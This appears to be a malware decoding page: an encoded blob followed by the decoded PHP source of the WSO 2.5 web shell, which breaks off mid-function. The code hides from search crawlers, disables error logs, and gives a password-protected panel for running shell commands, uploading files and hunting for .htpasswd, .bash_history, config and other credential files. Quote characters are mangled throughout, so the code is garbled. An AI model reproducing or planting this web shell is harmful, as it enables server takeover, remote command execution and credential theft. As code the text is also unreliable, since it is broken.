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&)));Decoding Step 1 results:$auth_pass = &&;
$color = &#df5&;
$default_action = 'FilesMan';
$default_use_ajax =
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array(&Google&, &Slurp&, &MSNBot&, &ia_archiver&, &Yandex&, &Rambler&);
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
function wsoLogin() {
die(&&pre align=center&&form method=post&Password: &input type=password name=pass&&input type=submit value='&&'&&/form&&/pre&&);
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
if(strtolower(substr(PHP_OS,0,3)) == &win&)
$os = 'win';
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace(&\\&, &/&, $home_cwd);
$cwd = str_replace(&\\&, &/&, $cwd);
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_
if($os == 'win')
$aliases = array(
&List Directory& =& &dir&,
&Find index.php in current dir& =& &dir /s /w /b index.php&,
&Find *config*.php in current dir& =& &dir /s /w /b *config*.php&,
&Show active connections& =& &netstat -an&,
&Show running services& =& &net start&,
&User accounts& =& &net user&,
&Show computers& =& &net view&,
&ARP Table& =& &arp -a&,
&IP Configuration& =& &ipconfig /all&
$aliases = array(
&List dir& =& &ls -lha&,
&list file attributes on a Linux second extended file system& =& &lsattr -va&,
&show opened ports& =& &netstat -an | grep -i listen&,
&process status& =& &ps aux&,
&Find& =& &&,
&find all suid files& =& &find / -type f -perm -04000 -ls&,
&find suid files in current dir& =& &find . -type f -perm -04000 -ls&,
&find all sgid files& =& &find / -type f -perm -02000 -ls&,
&find sgid files in current dir& =& &find . -type f -perm -02000 -ls&,
&find config.inc.php files& =& &find / -type f -name config.inc.php&,
&find config* files& =& &find / -type f -name \&config*\&&,
&find config* files in current dir& =& &find . -type f -name \&config*\&&,
&find all writable folders and files& =& &find / -perm -2 -ls&,
&find all writable folders and files in current dir& =& &find . -perm -2 -ls&,
&find all service.pwd files& =& &find / -type f -name service.pwd&,
&find service.pwd files in current dir& =& &find . -type f -name service.pwd&,
&find all .htpasswd files& =& &find / -type f -name .htpasswd&,
&find .htpasswd files in current dir& =& &find . -type f -name .htpasswd&,
&find all .bash_history files& =& &find / -type f -name .bash_history&,
&find .bash_history files in current dir& =& &find . -type f -name .bash_history&,
&find all .fetchmailrc files& =& &find / -type f -name .fetchmailrc&,
&find .fetchmailrc files in current dir& =& &find . -type f -name .fetchmailrc&,
&Locate& =& &&,
&locate httpd.conf files& =& &locate httpd.conf&,
&locate vhosts.conf files& =& &locate vhosts.conf&,
&locate proftpd.conf files& =& &locate proftpd.conf&,
&locate psybnc.conf files& =& &locate psybnc.conf&,
&locate my.conf files& =& &locate my.conf&,
&locate admin.php files& =&&locate admin.php&,
&locate cfg.php files& =& &locate cfg.php&,
&locate conf.php files& =& &locate conf.php&,
&locate config.dat files& =& &locate config.dat&,
&locate config.php files& =& &locate config.php&,
&locate config.inc files& =& &locate config.inc&,
&locate config.inc.php& =& &locate config.inc.php&,
&locate config.default.php files& =& &locate config.default.php&,
&locate config* files & =& &locate config&,
&locate .conf files&=&&locate '.conf'&,
&locate .pwd files& =& &locate '.pwd'&,
&locate .sql files& =& &locate '.sql'&,
&locate .htpasswd files& =& &locate '.htpasswd'&,
&locate .bash_history files& =& &locate '.bash_history'&,
&locate .mysql_history files& =& &locate '.mysql_history'&,
&locate .fetchmailrc files& =& &locate '.fetchmailrc'&,
&locate backup files& =& &locate backup&,
&locate dump files& =& &locate dump&,
&locate priv files& =& &locate priv&
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
echo &&html&&head&&meta http-equiv='Content-Type' content='text/ charset=& . $_POST['charset'] . &'&&title&& . $_SERVER['HTTP_HOST'] . & - WSO & . WSO_VERSION .&&/title&
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Vmargin:0;vertical-align:color:#e1e1e1; }
{ color:#background-color:#222; }
span,h1,a{ color: $color ! }
span{ font-weight: }
h1{ border-left:5px solid $padding: 2px 5font: 14pt Vbackground-color:#222;margin:0 }
div.content{ padding: 5margin-left:5background-color:#333; }
a{ text-decoration: }
a:hover{ text-decoration: }
.ml1{ border:1px solid #444;padding:5margin:0;overflow: }
.bigarea{ width:100%;height:300 }
input,textarea,select{ margin:0;color:#background-color:#555;border:1px solid $ font: 9pt Monospace,'Courier New'; }
form{ margin:0 }
#toolsTbl{ text-align: }
.toolsInp{ width: 300px }
.main th{text-align:background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,M}
var c_ = '& . htmlspecialchars($GLOBALS['cwd']) . &';
var a_ = '& . htmlspecialchars(@$_POST['a']) .&'
var charset_ = '& . htmlspecialchars(@$_POST['charset']) .&';
var p1_ = '& . ((strpos(@$_POST['p1'],&\n&)!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) .&';
var p2_ = '& . ((strpos(@$_POST['p2'],&\n&)!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) .&';
var p3_ = '& . ((strpos(@$_POST['p3'],&\n&)!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) .&';
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=else d.mf.charset.value=charset_;
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i&d.mf.elements.i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('& . addslashes($_SERVER['REQUEST_URI']) .&', params);
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqC
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\&(\\\\d+)([\\\\S\\\\s]*)\&, 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
&head&&body&&div style='position:width:100%;background-color:#444;top:0;left:0;'&
&form method=post name=mf style='display:'&
&input type=hidden name=a&
&input type=hidden name=c&
&input type=hidden name=p1&
&input type=hidden name=p2&
&input type=hidden name=p3&
&input type=hidden name=charset&
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = '/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = &?&;
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
$cwd_links = '';
$path = explode(&/&, $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i&$n-1; $i++) {
$cwd_links .= &&a href='#' onclick='g(\&FilesMan\&,\&&;
for($j=0; $j&=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= &\&)'&&.$path[$i].&/&/a&&;
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '&option value=&'.$item.'& '.($_POST['charset']==$item?'selected':'').'&'.$item.'&/option&';
$m = array('Sec. Info'=&'SecInfo','Files'=&'FilesMan','Console'=&'Console','Sql'=&'Sql','Php'=&'Php','String tools'=&'StringTools','Bruteforce'=&'Bruteforce','Network'=&'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k =& $v)
$menu .= '&th width=&'.(int)(100/count($m)).'%&&[ &a href=&#& onclick=&g(\''.$v.'\',null,\'\',\'\',\'\')&&'.$k.'&/a& ]&/th&';
$drives = &&;
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\\'))
$drives .= '&a href=&#& onclick=&g(\'FilesMan\',\''.$drive.':/\')&&[ '.$drive.' ]&/a& ';
echo '&table class=info cellpadding=3 cellspacing=0 width=100%&&tr&&td width=1&&span&Uname:&br&User:&br&Php:&br&Hdd:&br&Cwd:' . ($GLOBALS['os'] == 'win'?'&br&Drives:':'') . '&/span&&/td&'
. '&td&&nobr&' . substr(@php_uname(), 0, 120) . ' &a href=&' . $explink . '& target=_blank&[]&/a&&/nobr&&br&' . $uid . ' ( ' . $user . ' ) &span&Group:&/span& ' . $gid . ' ( ' . $group . ' )&br&' . @phpversion() . ' &span&Safe mode:&/span& ' . ($GLOBALS['safe_mode']?'&font color=red&ON&/font&':'&font color=green&&b&OFF&/b&&/font&')
. ' &a href=# onclick=&g(\'Php\',null,\'\',\'info\')&&[ phpinfo ]&/a& &span&Datetime:&/span& ' . date('Y-m-d H:i:s') . '&br&' . wsoViewSize($totalSpace) . ' &span&Free:&/span& ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)&br&' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' &a href=# onclick=&g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')&&[ home ]&/a&&br&' . $drives . '&/td&'
. '&td width=1 align=right&&nobr&&select onchange=&g(null,null,null,null,null,this.value)&&&optgroup label=&Page charset&&' . $opt_charsets . '&/optgroup&&/select&&br&&span&Server IP:&/span&&br&' . @$_SERVER[&SERVER_ADDR&] . '&br&&span&Client IP:&/span&&br&' . $_SERVER['REMOTE_ADDR'] . '&/nobr&&/td&&/tr&&/table&'
. '&table style=&border-top:2px solid #333;& cellpadding=3 cellspacing=0 width=100%&&tr&' . $menu . '&/tr&&/table&&div style=&margin:5&&';
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?& &font color='green'&(Writeable)&/font&&:& &font color=red&(Not writable)&/font&&;
&table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%
style='border-top:2px solid #333;border-bottom:2px solid #333;'&
&td&&form onsubmit='g(null,this.c.value,\&\&);'&&span&Change dir:&/span&&br&&input class='toolsInp' type=text name=c value='& . htmlspecialchars($GLOBALS['cwd']) .&'&&input type=submit value='&&'&&/form&&/td&
&td&&form onsubmit=\&g('FilesTools',null,this.f.value);\&&&span&Read file:&/span&&br&&input class='toolsInp' type=text name=f&&input type=submit value='&&'&&/form&&/td&
&td&&form onsubmit=\&g('FilesMan',null,'mkdir',this.d.value);\&&&span&Make dir:&/span&$is_writable&br&&input class='toolsInp' type=text name=d&&input type=submit value='&&'&&/form&&/td&
&td&&form onsubmit=\&g('FilesTools',null,this.f.value,'mkfile');\&&&span&Make file:&/span&$is_writable&br&&input class='toolsInp' type=text name=f&&input type=submit value='&&'&&/form&&/td&
&td&&form onsubmit=\&g('Console',null,this.c.value);\&&&span&Execute:&/span&&br&&input class='toolsInp' type=text name=c value=''&&input type=submit value='&&'&&/form&&/td&
&td&&form method='post' ENCTYPE='multipart/form-data'&
&input type=hidden name=a value='FilesMAn'&
&input type=hidden name=c value='& . $GLOBALS['cwd'] .&'&
&input type=hidden name=p1 value='uploadFile'&
&input type=hidden name=charset value='& . (isset($_POST['charset'])?$_POST['charset']:'') . &'&
&span&Upload file:&/span&$is_writable&br&&input class='toolsInp' type=file name=f&&input type=submit value='&&'&&/form&&br
&/tr&&/table&&/div&&/body&&/html&&;
if (!function_exists(&posix_getpwuid&) && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {} }
if (!function_exists(&posix_getgrgid&) && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join(&\n&,$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,&r&))) {
$out = &&;
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
function wsoViewSize($s) {
if (is_int($s))
$s = sprintf(&%u&, $s);
if($s &= )
return sprintf('%1.2f', $s /
). ' GB';
elseif($s &= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s &= 1024)
